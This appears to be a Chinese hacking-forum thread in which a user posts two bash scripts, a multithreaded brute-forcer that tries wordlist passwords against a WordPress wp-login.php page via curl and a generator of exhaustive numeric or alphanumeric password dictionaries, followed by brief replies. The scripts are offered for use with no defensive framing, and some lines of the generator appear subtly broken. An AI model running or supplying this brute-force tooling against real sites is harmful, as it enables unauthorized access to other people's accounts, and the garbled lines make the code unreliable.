话说论坛居然没有Shell的代码高亮
1.多线程WordPress后台密码暴力破解#!/bin/bash
#by leo108
#使用方式:./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh leo 1.txt http://xxx.com/wp-login.php 15
user=$1
zidian=$2
url=$3
thread=$4
function guess {
curl -s -d "log=$user&pwd=$1" $url >> $1.html
l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
if [ 0 -eq $l ]; then
echo $1 >> pwd.txt
rm $1.html
return 1
else
rm $1.html
return 0
fi
}
if [ -e pwd.txt ]; then
rm pwd.txt
fi
tmp_fifofile="/tmp/$.fifo"
mkfifo $tmp_fifofile
exec 6<>$tmp_fifofile
rm $tmp_fifofile
for ((i=0;i<$thread;i++));
do
echo
done >&6
while read line;do
if [ -e pwd.txt ]; then
break
fi
read -u6
{
echo "Testing "$line
guess $line
echo >&6
} &
done < $zidian
wait
exec 6>&-
if [ -e pwd.txt ]; then
echo "Password is "
cat pwd.txt
rm pwd.txt
else
echo "Not Found"
fi
exit 02.字典生成工具#!/bin/bash
#by leo108
#使用方式:./genpwd.sh 密码类型 密码长度 生成文件
#密码类型如果是1,则是数字+字母,如果是其他则是数字
#例如./genpwd.sh 1 4 pwd.txt,生成长度为4的数字+字母密码
type=$1
length=$2
f=$3
if [ $type -eq "1" ]; then
g_Dict=( 0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z )
else
g_Dict=( 0 1 2 3 4 5 6 7 8 9 )
fi
count=0
total=1
if [ -e tmp.txt ]; then
rm tmp.txt
fi
for ((i=0;i<$length;i++));
do
let "total*=${#g_Dict[@]}"
done
echo "Total:"$total
declare -a Dict
declare -a Array
bStop=1
for ((i=0;i<$length;i++));
do
Array[$i]=0
done
while [ $bStop != 0 ]; do
for ((i=0;i<$length;i++));
do
Dict[i]={g_Dict[${Array[$i]}]}
done
echo ${Dict[@]} >> tmp.txt
let "count+=1"
let "tmp=count%10000"
if [ $tmp -eq 0 ]; then
echo $count" Generated"
fi
for ((j=$length-1;j>=0;j--));
do
let "Array[$j]+=1"
if [ {#g_Dict[@]} -ne {Array[$j]} ]; then
break
else
Array[$j]=0
if [ $j -eq 0 ]; then
bStop=0
fi
fi
done
done
sed -r 's/ +//g' tmp.txt >> $f
echo "Finish"
rm tmp.txt
大晚上的没人来...算了鸟、支持下、由于看不懂在写神马、就不评分了= =
**回复 2# 90safe **
相信90sec还是有人懂的……
前几天拿了本shell编程的书看了几页看不进去!
你这个东东还是勉强能看懂。。。。
还行
您的帖子长度不符合要求。 当前长度: 4 字节系统限制: 5 到 20000 字节
都是你在Freebuf上发过的!
这个我写过python版本的 http://huakai.paxmac.org/?p=168
...
我有PHP的
**回复 8# 陈可逆 **
php是char写的吧,我就是看到php的才写的python版的